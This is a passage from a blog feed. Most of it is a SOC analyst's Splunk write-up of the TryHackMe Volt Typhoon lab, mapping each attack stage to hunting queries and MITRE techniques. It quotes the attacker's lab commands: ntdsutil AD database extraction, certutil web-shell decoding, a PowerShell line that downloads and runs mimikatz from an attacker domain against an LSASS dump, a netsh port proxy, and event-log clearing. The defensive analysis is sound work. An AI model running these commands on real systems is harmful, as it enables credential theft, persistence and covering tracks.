original script reached the workstation. Those uncertainties remain part of the final assessment.</p><p>But the investigation still established the attack chain through the correlation of Sysmon, PowerShell, and Windows Security events.</p><p>If there is one defensive change I would prioritize after this investigation, it is simple:</p><p><strong>A service account password should never be sitting in plain text inside a project configuration file.</strong></p><p>Thanks for reading. If you investigated this scenario differently or found another way to detect this activity, I’d be interested in hearing your approach.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ceb5e9ec9965" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inside Volt Typhoon: Reconstructing an APT Attack Through Splunk]]></title>
            <link>https://medium.com/@it.baraa.mohamed/inside-volt-typhoon-reconstructing-an-apt-attack-through-splunk-9e5f67f69a47?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e5f67f69a47</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 15:42:48 GMT</pubDate>
            <atom:updated>2026-11-10T15:42:48.548Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LJ7iPva0PsEPSA__GVub3g.png" /></figure><h3>From Account Compromise to Command and Control — A SOC Investigation</h3><p><strong>A compromised identity. Legitimate administrative tools. A web shell hidden in plain sight.</strong></p><p>Not every sophisticated cyberattack begins with custom malware.</p><p>Some attackers prefer to operate through tools already trusted by the target environment. They use legitimate Windows utilities, compromised accounts, administrative protocols, and built-in system capabilities to move through an organization while blending into normal activity.</p><p>This is the challenge behind <em>Living off the Land</em> (LOTL) techniques.</p><p>In this investigation, I took the role of a SOC analyst and reconstructed a simulated Volt Typhoon intrusion using Splunk. Starting with identity-related events, I followed the activity through system discovery, Active Directory database access, credential harvesting, persistence, lateral movement, data collection, and command-and-control preparation.</p><p>The objective was not simply to identify suspicious commands. It was to understand how individual events connect, what they reveal about attacker behavior, and how a SOC analyst can detect malicious activity when legitimate administrative tools are abused.</p><blockquote><strong><em>Investigation scope:</em></strong><em> This is a technical investigation of the TryHackMe Volt Typhoon lab. Hostnames, accounts, commands, timestamps, and artifacts described in the investigation refer to the simulated environment. They are not independent forensic evidence of a real-world Volt Typhoon incident.</em></blockquote><h3>1. Understanding the Threat: Volt Typhoon</h3><p>Volt Typhoon is a China-sponsored threat actor tracked by multiple cybersecurity organizations. Public reporting associates the group with targeting critical infrastructure, maintaining persistent access, and using stealth-oriented techniques.</p><p>According to Microsoft and joint government advisories, the group’s documented tradecraft includes extensive use of legitimate system tools, valid credentials, hands-on-keyboard activity, and compromised infrastructure to obscure command-and-control communications.</p><p>One of the defining characteristics of this activity is the use of <strong>Living off the Land</strong> techniques.</p><p>Instead of introducing a large collection of custom binaries, an attacker may abuse utilities already available on Windows systems.</p><p>Some examples include:</p><ul><li><strong>WMIC:</strong> Querying system information and interacting with remote machines.</li><li><strong>PowerShell:</strong> Executing commands, downloading files, and manipulating system resources.</li><li><strong>NTDSUtil:</strong> Performing operations involving the Active Directory database.</li><li><strong>Certutil:</strong> Encoding and decoding files.</li><li><strong>Netsh:</strong> Modifying network configuration and creating port-proxy rules.</li><li><strong>Wevtutil:</strong> Querying and managing Windows Event Logs.</li></ul><p>These utilities are not malicious by themselves. They are legitimate administrative tools.</p><p>The challenge for defenders is distinguishing normal administrative activity from suspicious behavior.</p><p>A single netsh command may be completely legitimate. A netsh port-proxy configuration created during an intrusion involving compromised accounts, suspicious file transfers, and web shell deployment is a different story.</p><p><strong>The context surrounding an action is often more important than the tool performing it.</strong></p><h3>2. Investigation Environment</h3><p>The investigation was conducted in the <a href="https://tryhackme.com/room/volttyphoon">TryHackMe Volt Typhoon room</a>.</p><p>The scenario provided approximately two weeks of historical logs from a simulated enterprise environment. Splunk was used as the primary SIEM platform to investigate the suspected intrusion and reconstruct the attacker’s actions.</p><p>The available telemetry included three important sourcetypes:</p><ul><li>adss — ADSelfService Plus activity.</li><li>powershell — PowerShell execution activity.</li><li>wmic — Windows Management Instrumentation command activity.</li></ul><p>Before investigating individual events, I first needed to understand the structure of the available data.</p><h3>Identifying available indexes and sourcetypes</h3><p>My first query was:</p><pre>index=*<br>| stats count by index sourcetype<br>| sort - count</pre><p>This provides an overview of the available indexes and sourcetypes, helping identify where relevant telemetry is stored.</p><p>One important detail: the Splunk time picker must cover the historical investigation period. I selected <strong>All Time</strong> to avoid excluding events outside the default time range.</p><h3>Establishing an initial search</h3><p>After identifying the available data, I used broad searches to locate suspicious activity before narrowing the investigation to specific commands, accounts, and artifacts.</p><pre>index=*<br>| search Dean OR voltyp-admin OR server01 OR server02<br>| table _time host source sourcetype _raw<br>| sort _time</pre><p>This is a starting point, not a final detection rule. The purpose is to identify relevant events and understand which fields are available in the dataset.</p><p>Depending on the sourcetype and field extraction, some field names may differ. When a field is unavailable, searching _raw is a useful fallback.</p><p>My investigation followed the attack lifecycle rather than treating each log entry as an isolated event.</p><h3>3. Initial Access: The Identity Was the Entry Point</h3><p>The first suspicious activity appeared in the ADSelfService Plus logs.</p><p>The lab scenario highlighted the abuse of enterprise password-management functionality. I began by investigating Dean’s account and looking for unusual password-reset and account-unlock activity.</p><h3>Searching ADSelfService Plus logs</h3><pre>index=* sourcetype=adss<br>| search Dean<br>| table _time host source _raw<br>| sort _time</pre><p>The search revealed a sequence of failed account-unlock attempts followed by a successful operation.</p><p>The relevant activity included:</p><ul><li>Multiple failed account-unlock attempts.</li><li>A successful account unlock.</li><li>A password change at 2024-03-24T11:10:22.</li><li>Subsequent account-related activity.</li></ul><p>The password-change event was particularly important because it marked the point at which the attacker could take control of Dean’s identity.</p><h3>Investigating the new administrator account</h3><p>Shortly after Dean’s account was compromised, another account appeared:</p><pre>voltyp-admin</pre><p>I searched the logs for the account name to identify its enrollment and configuration activity.</p><pre>index=* sourcetype=adss<br>| search &quot;voltyp-admin&quot;<br>| table _time host source _raw<br>| sort _time</pre><p>The activity showed the creation and configuration of an additional administrative identity through the self-service portal.</p><p>This was significant because the attacker was not simply using the compromised account. Establishing another identity could provide an additional way to maintain access.</p><h3>SOC analysis</h3><p>A password change is not automatically an indicator of compromise. Users legitimately reset passwords and unlock accounts every day.</p><p>However, the sequence of repeated failed recovery attempts, a successful unlock, a password change, and subsequent administrative account enrollment deserves investigation.</p><p>A stronger detection strategy would correlate:</p><ul><li>Repeated failed password-recovery attempts.</li><li>Password changes immediately following suspicious recovery activity.</li><li>Creation of new privileged accounts.</li><li>Unexpected account enrollment or recovery configuration.</li><li>Activity originating from unusual IP addresses or devices.</li></ul><p><strong>Key finding:</strong> Dean’s account was compromised, followed by the establishment of an additional account named voltyp-admin.</p><p><strong>MITRE ATT&amp;CK mapping:</strong></p><ul><li><strong>T1078 — Valid Accounts:</strong> Abuse of legitimate account credentials.</li><li><strong>T1098 — Account Manipulation:</strong> Establishing or modifying account access mechanisms.</li></ul><h3>4. Execution and Discovery: Using WMIC to Understand the Environment</h3><p>After gaining access, the attacker began interacting with the environment using Windows Management Instrumentation Command-line (WMIC).</p><p>WMIC is a legitimate Windows administrative utility that can retrieve system information and interact with remote machines.</p><p>The investigation identified the following command:</p><pre>wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename</pre><p>The command queries logical disks on server01 and server02, returning information about:</p><ul><li>Drive letters.</li><li>Filesystem types.</li><li>Available disk space.</li><li>Total disk capacity.</li><li>Volume labels.</li></ul><p>This information helps an attacker understand the infrastructure and identify systems or storage locations that may be valuable.</p><h3>Hunting for WMIC execution</h3><pre>index=* sourcetype=wmic<br>| search &quot;logicaldisk&quot; OR &quot;server01&quot; OR &quot;server02&quot;<br>| table _time host source _raw<br>| sort _time</pre><p>If the command is stored in a different sourcetype, broaden the search:</p><pre>index=*<br>| search &quot;wmic&quot; &quot;logicaldisk&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>The second query is useful when the exact source of the command is not yet known.</p><h3>Active Directory database access</h3><p>The investigation then revealed a more sensitive operation.</p><p>The attacker used ntdsutil to create an Install From Media (IFM) copy of the Active Directory database.</p><p>The command included:</p><pre>ntdsutil.exe &quot;ac i ntds&quot; &quot;ifm create full C:\Windows\Temp\tmp\temp.dit&quot;</pre><p>The resulting database file was moved to a web server and compressed using 7-Zip.</p><p>The archive command was:</p><pre>7z a -v100m -p d5ag0nm@5t3r -t7z cisco-up.7z C:\inetpub\wwwroot\temp.dit</pre><p>The archive password was:</p><pre>d5ag0nm@5t3r</pre><p>The -p parameter specifies the archive password, while -v100m splits the archive into volumes of 100 MB.</p><h3>Hunting for NTDS and archive activity</h3><pre>index=*<br>| search &quot;ntdsutil&quot; OR &quot;temp.dit&quot; OR &quot;cisco-up.7z&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>To focus specifically on archive creation:</p><pre>index=*<br>| search &quot;7z&quot; &quot;cisco-up.7z&quot;<br>| table _time host sourcetype _raw<br>| sort _time</pre><h3>Why this matters</h3><p>The Active Directory database contains sensitive information about domain accounts. Accessing a copy can provide an attacker with material for offline credential analysis.</p><p>The suspicious sequence was more important than any individual command:</p><ol><li>Create a temporary working directory.</li><li>Generate an Active Directory database copy.</li><li>Move the resulting file to a web server.</li><li>Compress the database.</li><li>Protect the archive with a password.</li></ol><p>Each action may have a legitimate administrative explanation in isolation. Together, they form a suspicious sequence that deserves immediate investigation.</p><p><strong>Key finding:</strong> The attacker accessed the Active Directory database, staged a copy on a web server, and compressed it into a password-protected archive.</p><p><strong>MITRE ATT&amp;CK mapping:</strong></p><ul><li><strong>T1047 — Windows Management Instrumentation:</strong> Use of WMI for system interaction.</li><li><strong>T1003.003 — OS Credential Dumping: NTDS:</strong> Access to the Active Directory database.</li><li><strong>T1560.001 — Archive Collected Data: Archive via Utility:</strong> Compression of collected data.</li><li><strong>T1074.001 — Data Staged: Local Data Staging:</strong> Preparation of collected data for further movement.</li></ul><h3>5. Persistence: A Web Shell Hidden in a Temporary Directory</h3><p>The next stage revealed an attempt to establish persistent access through a web shell.</p><p>The attacker created a directory under:</p><pre>C:\Windows\Temp\</pre><p>A Base64-encoded payload was written to a file named:</p><pre>ntuser.ini</pre><p>The content was then decoded using certutil:</p><pre>certutil -decode C:\Windows\Temp\ntuser.ini C:\Windows\Temp\iisstart.aspx</pre><p>The resulting web shell was placed in:</p><pre>C:\Windows\Temp\</pre><p>Its filename was:</p><pre>iisstart.aspx</pre><h3>Why use Base64?</h3><p>Base64 is an encoding mechanism, not encryption.</p><p>It does not make a payload secure or inherently malicious. However, encoding can make content less immediately recognizable when someone casually inspects command history or logs.</p><p>The use of certutil -decode is therefore important in context. A legitimate utility was used to transform encoded content into an ASP.NET web resource.</p><h3>Hunting for the decoding operation</h3><pre>index=*<br>| search &quot;certutil&quot; &quot;ntuser.ini&quot; OR &quot;iisstart.aspx&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>A broader search can help when the output filename is not known:</p><pre>index=*<br>| search &quot;certutil&quot; &quot;decode&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><h3>SOC analysis</h3><p>A web shell can provide remote command execution through a web server.</p><p>Its presence can allow an attacker to interact with a compromised host through HTTP requests instead of repeatedly establishing traditional interactive sessions.</p><p>Detection opportunities include:</p><ul><li>Unexpected .aspx files in unusual directories.</li><li>New files created under web-accessible paths.</li><li>certutil -decode followed by web-resource creation.</li><li>Suspicious file creation through PowerShell or command-line utilities.</li><li>Web-server processes spawning command interpreters.</li></ul><p>The important point is to correlate file creation with process execution and web-server activity rather than relying on the filename alone.</p><p><strong>Key finding:</strong> A Base64-encoded payload was decoded into an ASP.NET web shell named iisstart.aspx.</p><p><strong>MITRE ATT&amp;CK mapping:</strong></p><ul><li><strong>T1505.003 — Server Software Component: Web Shell:</strong> Establishing access through a web shell.</li><li><strong>T1140 — Deobfuscate/Decode Files or Information:</strong> Decoding the Base64 payload.</li></ul><h3>6. Defense Evasion: Removing Evidence and Hiding Artifacts</h3><p>The investigation revealed several attempts to reduce the visibility of the attack.</p><h3>6.1 Removing RDP history</h3><p>The attacker inspected the following registry location:</p><pre>HKCU:\Software\Microsoft\Terminal Server Client\Default</pre><p>This location stores information associated with Remote Desktop Connection history.</p><p>The attacker used:</p><pre>Remove-ItemProperty -Path $registryPath -Name MRU0 -ErrorAction SilentlyContinue</pre><p>The cmdlet:</p><pre>Remove-ItemProperty</pre><p>was used to remove the MRU0 value.</p><p>This value is associated with the most recently used RDP destination.</p><p>Removing it can reduce the locally available evidence of previous RDP connections.</p><h3>Hunting for registry-history removal</h3><pre>index=* sourcetype=powershell<br>| search &quot;Remove-ItemProperty&quot; OR &quot;MRU0&quot;<br>| table _time host source _raw<br>| sort _time</pre><p>If the command is recorded under another sourcetype:</p><pre>index=*<br>| search &quot;Remove-ItemProperty&quot; &quot;MRU0&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><h3>6.2 Renaming the archive</h3><p>The previously created archive:</p><pre>cisco-up.7z</pre><p>was renamed:</p><pre>cl64.gif</pre><p>The extension change is particularly interesting.</p><p>Although the file retained its archive content, its filename now resembled a GIF image rather than a compressed archive.</p><p>Changing an extension does not change the underlying file format. This is why file-type validation and content inspection are more reliable than trusting filenames.</p><h3>Hunting for the renamed archive</h3><pre>index=*<br>| search &quot;cisco-up.7z&quot; OR &quot;cl64.gif&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><h3>6.3 Virtualization detection</h3><p>The attacker also performed environment checks to identify whether the compromised machine was running inside a virtualized environment.</p><p>One registry location inspected was:</p><pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control</pre><p>The attacker searched for properties associated with virtualization.</p><p>This type of activity can help an operator understand the environment in which their tools are running.</p><h3>Hunting for the registry path</h3><pre>index=*<br>| search &quot;CurrentControlSet\\Control&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>The exact results depend on how the command and registry path were recorded in the event data.</p><h3>SOC analysis</h3><p>Defense evasion is often a sequence of small actions rather than a single event.</p><p>In this case, the attacker:</p><ul><li>Removed RDP-related registry history.</li><li>Renamed a staged archive.</li><li>Inspected system characteristics.</li></ul><p>A SOC analyst should pay attention to the combination of these actions, especially when they occur near sensitive operations such as database extraction and credential access.</p><p><strong>Key finding:</strong> The attacker attempted to remove RDP history, disguise a compressed archive, and inspect the host for virtualization indicators.</p><p><strong>MITRE ATT&amp;CK mapping:</strong></p><ul><li><strong>T1112 — Modify Registry:</strong> Modification of registry values to remove RDP history.</li><li><strong>T1497.001 — Virtualization/Sandbox Evasion: System Checks:</strong> Checking for virtualization indicators.</li></ul><h3>7. Credential Access: Searching for Remote-Access Software and Using Mimikatz</h3><p>Credential access was another major stage of the investigation.</p><p>The attacker used reg query to inspect registry locations associated with remote-access software.</p><p>The three products identified were:</p><ul><li>OpenSSH</li><li>PuTTY</li><li>RealVNC</li></ul><p>The investigation showed that the attacker was not simply collecting a generic software inventory. The registry queries focused on specific products and their configuration locations.</p><p>This can help an attacker identify remote-access methods, saved sessions, and potentially useful connection information.</p><h3>Hunting for registry queries</h3><pre>index=*<br>| search &quot;reg query&quot; &quot;OpenSSH&quot; OR &quot;PuTTY&quot; OR &quot;RealVNC&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>To investigate each product separately:</p><pre>index=*<br>| search &quot;OpenSSH&quot; OR &quot;PuTTY&quot; OR &quot;RealVNC&quot;<br>| table _time host sourcetype _raw<br>| sort _time</pre><h3>Mimikatz execution</h3><p>The investigation also uncovered an encoded PowerShell command used to download and execute Mimikatz.</p><p>After decoding the command, the resulting PowerShell instructions were:</p><pre>Invoke-WebRequest -Uri &quot;http://voltyp.com/3/tlz/mimikatz.exe&quot; -OutFile &quot;C:\Temp\db2\mimikatz.exe&quot;; Start-Process -FilePath &quot;C:\Temp\db2\mimikatz.exe&quot; -ArgumentList @(&quot;sekurlsa::minidump lsass.dmp&quot;, &quot;exit&quot;) -NoNewWindow -Wait</pre><p>The command performs two main operations.</p><p><strong>First: Download the executable.</strong></p><pre>Invoke-WebRequest -Uri &quot;http://voltyp.com/3/tlz/mimikatz.exe&quot; -OutFile &quot;C:\Temp\db2\mimikatz.exe&quot;</pre><p>This downloads Mimikatz from the specified HTTP address and saves it locally.</p><p><strong>Second: Execute Mimikatz.</strong></p><pre>Start-Process -FilePath &quot;C:\Temp\db2\mimikatz.exe&quot; -ArgumentList @(&quot;sekurlsa::minidump lsass.dmp&quot;, &quot;exit&quot;) -NoNewWindow -Wait</pre><p>The argument:</p><pre>sekurlsa::minidump lsass.dmp</pre><p>instructs Mimikatz to analyze an existing LSASS dump file.</p><p>This is an important distinction: the command demonstrates analysis of a dump file, not necessarily the creation of that dump during the same execution.</p><h3>Hunting for the Mimikatz command</h3><pre>index=*<br>| search &quot;mimikatz.exe&quot; OR &quot;sekurlsa::minidump&quot; OR &quot;lsass.dmp&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>To identify PowerShell downloads:</p><pre>index=*<br>| search &quot;Invoke-WebRequest&quot; &quot;mimikatz&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><h3>SOC analysis</h3><p>Several detection opportunities emerge from this activity:</p><ul><li>PowerShell downloading executables from external HTTP resources.</li><li>Encoded PowerShell execution.</li><li>Mimikatz execution from unusual temporary directories.</li><li>Access to LSASS-related dump files.</li><li>Registry enumeration targeting remote-access applications.</li><li>Unexpected processes interacting with credential-related files.</li></ul><p>A detection strategy should correlate the download, file creation, process execution, and subsequent access to credential material.</p><p><strong>Key finding:</strong> The attacker investigated OpenSSH, PuTTY, and RealVNC configurations and downloaded and executed Mimikatz to analyze an LSASS dump.</p><p><strong>MITRE ATT&amp;CK mapping:</strong></p><ul><li><strong>T1059.001 — Command and Scripting Interpreter: PowerShell:</strong> PowerShell-based download and execution.</li><li><strong>T1105 — Ingress Tool Transfer:</strong> Downloading an external executable.</li><li><strong>T1003.001 — OS Credential Dumping: LSASS Memory:</strong> Relevant to the LSASS credential material being analyzed.</li></ul><h3>8. Discovery and Lateral Movement</h3><p>The attacker continued investigating the environment using Windows Event Log utilities.</p><p>The tool:</p><pre>wevtutil</pre><p>was used to query security events associated with authentication and Kerberos activity.</p><p>The event IDs identified during the investigation were:</p><pre>4624 4625 4769</pre><p>These events are useful to both attackers and defenders.</p><ul><li><strong>4624:</strong> A successful logon.</li><li><strong>4625:</strong> A failed logon.</li><li><strong>4769:</strong> A Kerberos service ticket was requested.</li></ul><p>An attacker can use this information to understand authentication activity and identify interesting accounts or systems.</p><p>A defender can use the same events to investigate suspicious authentication patterns and potential lateral movement.</p><h3>Hunting for the event IDs</h3><pre>index=*<br>| search &quot;4624&quot; OR &quot;4625&quot; OR &quot;4769&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>To focus on the wevtutil activity:</p><pre>index=*<br>| search &quot;wevtutil&quot; (&quot;4624&quot; OR &quot;4625&quot; OR &quot;4769&quot;)<br>| table _time host sourcetype source _raw<br>| sort _time</pre><h3>Moving the web shell to another server</h3><p>The investigation then revealed that the original web shell was copied to another system.</p><p>The command was:</p><pre>Copy-Item -Path &quot;C:\Windows\Temp\iisstart.aspx&quot; -Destination &quot;\\server-02\C$\inetpub\wwwroot\AuditReport.jspx&quot;</pre><p>The destination filename was:</p><pre>AuditReport.jspx</pre><p>This operation copied the web shell to the web root of server-02, using a different extension.</p><p>Changing the filename and extension can make simple filename-based detection less effective.</p><p>However, the extension alone does not establish whether IIS will execute the file. That depends on the server’s handler mappings and configuration.</p><h3>Hunting for remote file copies</h3><pre>index=*<br>| search &quot;Copy-Item&quot; &quot;server-02&quot; OR &quot;AuditReport.jspx&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>Another useful search is:</p><pre>index=*<br>| search &quot;AuditReport.jspx&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><h3>SOC analysis</h3><p>This stage demonstrates why monitoring file operations across administrative shares is important.</p><p>A file copied to:</p><pre>\\server-02\C$\inetpub\wwwroot\</pre><p>deserves attention when the source is an existing web shell and the operation occurs during a suspicious administrative session.</p><p>Detection opportunities include:</p><ul><li>Remote file copies through administrative shares.</li><li>New files appearing in web-server directories.</li><li>Unexpected .aspx files or unusual web-resource extensions.</li><li>PowerShell Copy-Item operations involving remote hosts.</li><li>Correlation between authentication events and subsequent file creation.</li></ul><p><strong>Key finding:</strong> The attacker queried authentication-related Windows events and copied the existing web shell to server-02 under the name AuditReport.jspx.</p><p><strong>MITRE ATT&amp;CK mapping:</strong></p><ul><li><strong>T1021.002 — Remote Services: SMB/Windows Admin Shares:</strong> Use of an administrative share for remote file operations.</li><li><strong>T1505.003 — Server Software Component: Web Shell:</strong> Replication of the web shell to another server.</li></ul><h3>9. Collection: Identifying and Staging Financial Data</h3><p>The next stage focused on locating valuable information.</p><p>The attacker enumerated directories under:</p><pre>C:\ProgramData</pre><p>The investigation identified a directory named:</p><pre>C:\ProgramData\FinanceBackup\</pre><p>It contained three financial files:</p><pre>2022.csv<br>2023.csv<br>2024.csv</pre><p>The attacker created a staging directory:</p><pre>C:\Windows\Temp\faudit</pre><p>Then copied the files into it using PowerShell.</p><p>The files were:</p><ul><li>2022.csv</li><li>2023.csv</li><li>2024.csv</li></ul><h3>Hunting for the financial files</h3><pre>index=*<br>| search &quot;2022.csv&quot; OR &quot;2023.csv&quot; OR &quot;2024.csv&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>To investigate the staging directory:</p><pre>index=*<br>| search &quot;FinanceBackup&quot; OR &quot;faudit&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>To focus on PowerShell copy operations:</p><pre>index=* sourcetype=powershell<br>| search &quot;Copy-Item&quot; (&quot;2022.csv&quot; OR &quot;2023.csv&quot; OR &quot;2024.csv&quot;)<br>| table _time host source _raw<br>| sort _time</pre><h3>Why this matters</h3><p>The attacker did not need to immediately transfer the files outside the organization.</p><p>Staging data in a temporary directory can be an intermediate step before compression or exfiltration.</p><p>The directory name faudit also demonstrates how seemingly ordinary names can be used to disguise suspicious activity.</p><h3>SOC analysis</h3><p>The investigation highlights several useful detection opportunities:</p><ul><li>Recursive enumeration of sensitive directories.</li><li>Access to financial backup locations.</li><li>Bulk copying of business-sensitive files.</li><li>Creation of unusual staging directories under Windows temporary paths.</li><li>Multiple file-copy operations performed within a short time window.</li></ul><p>The important point is to correlate the source directory, destination directory, user context, and timing.</p><p><strong>Key finding:</strong> Three financial backup files were copied from C:\ProgramData\FinanceBackup\ to C:\Windows\Temp\faudit\.</p><p><strong>MITRE ATT&amp;CK mapping:</strong></p><ul><li><strong>T1005 — Data from Local System:</strong> Collection of files from the compromised host.</li><li><strong>T1074.001 — Data Staged: Local Data Staging:</strong> Staging collected information in a local directory.</li></ul><h3>10. Command and Control: Configuring a Network Port Proxy</h3><p>The final stage revealed the use of netsh to configure a network port proxy.</p><p>The command observed in the investigation was:</p><pre>netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=8443 connectaddress=10.2.30.1</pre><p>This command configures an IPv4-to-IPv4 port proxy.</p><p>Understanding the parameters is important.</p><p>listenaddress=0.0.0.0 means the proxy listens on all local IPv4 interfaces.</p><p>listenport=50100 defines the local listening port.</p><p>connectaddress=10.2.30.1 specifies the destination address.</p><p>connectport=8443 specifies the destination port.</p><p>The destination address and port were:</p><pre>10.2.30.1 8443</pre><p>The distinction between the listening endpoint and the forwarding destination matters when reconstructing network activity.</p><h3>Hunting for port-proxy configuration</h3><pre>index=*<br>| search &quot;netsh&quot; &quot;portproxy&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>To search for the destination:</p><pre>index=*<br>| search &quot;10.2.30.1&quot; &quot;8443&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><h3>Why this matters</h3><p>The use of netsh interface portproxy can create a forwarding path through a compromised host.</p><p>An unexpected port-proxy configuration is a strong investigation lead, especially when it appears after account compromise, credential access, and other suspicious administrative activity.</p><p>However, the command alone does not prove that a complete C2 session was established or that data was successfully exfiltrated.</p><p>A complete investigation would also examine network connections, listening sockets, process activity, and the destination’s role in the environment.</p><h3>Cleanup activity</h3><p>The attacker also cleared four Windows event log channels:</p><pre>Application<br>Security<br>Setup<br>System</pre><p>The command was:</p><pre>wevtutil cl Application Security Setup System</pre><p>The Event Log service was subsequently stopped and restarted.</p><h3>Hunting for log clearing</h3><pre>index=*<br>| search &quot;wevtutil&quot; &quot;cl&quot; OR &quot;Clear-EventLog&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p>To search specifically for the four cleared channels:</p><pre>index=*<br>| search &quot;Application&quot; &quot;Security&quot; &quot;Setup&quot; &quot;System&quot;<br>| search &quot;wevtutil&quot; &quot;cl&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p><strong>Key finding:</strong> A port proxy was configured to forward traffic to 10.2.30.1:8443, and the attacker cleared the Application, Security, Setup, and System event logs.</p><p><strong>MITRE ATT&amp;CK mapping:</strong></p><ul><li><strong>T1090.001 — Proxy: Internal Proxy:</strong> Relevant to the use of an internal port-proxy mechanism.</li><li><strong>T1112 — Modify Registry:</strong> Relevant to the registry modification underlying Windows PortProxy configuration.</li><li><strong>T1070.001 — Indicator Removal: Clear Windows Event Logs:</strong> Clearing Windows event logs.</li></ul><h3>11. Reconstructing the Attack Chain</h3><p>After examining the different log sources, the investigation revealed a connected sequence of activities.</p><p>The attack can be summarized as follows.</p><p><strong>Initial Access</strong></p><p>The attacker compromised Dean’s account through suspicious ADSelfService Plus activity and established an additional account named voltyp-admin.</p><p><strong>Execution and Discovery</strong></p><p>WMIC was used to enumerate logical drives on server01 and server02.</p><p><strong>Active Directory Database Access</strong></p><p>The attacker used ntdsutil to create a copy of the Active Directory database, moved it to a web server, and compressed it with 7-Zip.</p><p><strong>Persistence</strong></p><p>A Base64-encoded payload was decoded into an ASP.NET web shell named iisstart.aspx.</p><p><strong>Defense Evasion</strong></p><p>The attacker removed RDP history, renamed the archive to cl64.gif, and checked the environment for virtualization indicators.</p><p><strong>Credential Access</strong></p><p>The attacker investigated OpenSSH, PuTTY, and RealVNC configuration locations, then downloaded and executed Mimikatz to analyze an LSASS dump.</p><p><strong>Discovery and Lateral Movement</strong></p><p>Windows authentication-related event IDs were queried, and the web shell was copied to server-02 as AuditReport.jspx.</p><p><strong>Collection</strong></p><p>Three financial CSV files were copied from FinanceBackup into a temporary staging directory.</p><p><strong>Command and Control</strong></p><p>A port-proxy rule was configured to forward traffic to 10.2.30.1:8443.</p><p><strong>Cleanup</strong></p><p>The attacker cleared the Application, Security, Setup, and System event logs.</p><p>This sequence illustrates why attack reconstruction requires more than identifying individual indicators. The relationships between identity events, process execution, file operations, and network configuration provide a much stronger understanding of attacker behavior.</p><h3>12. Detection Engineering: Turning Findings into Hunts</h3><p>One of the most useful outcomes of this investigation is the opportunity to convert the observed behavior into repeatable hunting queries.</p><p>The following searches are starting points for a SOC investigation. They are not production-ready detection rules. Their effectiveness depends on the available telemetry, field extraction, logging configuration, and normal administrative behavior in the environment.</p><h3>Hunt 1: Suspicious account activity</h3><pre>index=* sourcetype=adss<br>| search Dean OR voltyp-admin<br>| stats count values(_raw) as events by _time host<br>| sort _time</pre><p><strong>Objective:</strong> Identify account-recovery activity, password changes, and suspicious enrollment events.</p><h3>Hunt 2: LOLBin activity</h3><pre>index=*<br>| search &quot;wmic&quot; OR &quot;ntdsutil&quot; OR &quot;certutil&quot; OR &quot;netsh&quot; OR &quot;wevtutil&quot;<br>| stats count values(sourcetype) as sourcetypes by host<br>| sort - count</pre><p><strong>Objective:</strong> Identify hosts generating activity involving administrative utilities.</p><p>This query is useful for initial triage, but the presence of these tools alone is not sufficient to establish malicious behavior.</p><h3>Hunt 3: Suspicious PowerShell activity</h3><pre>index=*<br>| search &quot;Invoke-WebRequest&quot; OR &quot;FromBase64String&quot; OR &quot;certutil -decode&quot; OR &quot;Copy-Item&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p><strong>Objective:</strong> Investigate download operations, decoding activity, and suspicious file manipulation.</p><h3>Hunt 4: Active Directory database access</h3><pre>index=*<br>| search &quot;ntdsutil&quot; OR &quot;ntds.dit&quot; OR &quot;temp.dit&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p><strong>Objective:</strong> Identify unexpected database-copy operations and related file staging.</p><h3>Hunt 5: Web shell deployment</h3><pre>index=*<br>| search &quot;iisstart.aspx&quot; OR &quot;AuditReport.jspx&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p><strong>Objective:</strong> Trace the creation and movement of suspicious web resources across systems.</p><h3>Hunt 6: Data staging</h3><pre>index=*<br>| search &quot;FinanceBackup&quot; OR &quot;faudit&quot; OR &quot;2022.csv&quot; OR &quot;2023.csv&quot; OR &quot;2024.csv&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p><strong>Objective:</strong> Identify sensitive source directories and suspicious staging activity.</p><h3>Hunt 7: Port-proxy configuration</h3><pre>index=*<br>| search &quot;portproxy&quot; OR &quot;10.2.30.1&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p><strong>Objective:</strong> Identify unexpected port-forwarding configuration and investigate the associated destination.</p><h3>Hunt 8: Windows event-log clearing</h3><pre>index=*<br>| search &quot;wevtutil&quot; &quot;cl&quot;<br>| table _time host sourcetype source _raw<br>| sort _time</pre><p><strong>Objective:</strong> Detect attempts to clear Windows Event Logs.</p><h3>An important limitation</h3><p>A query 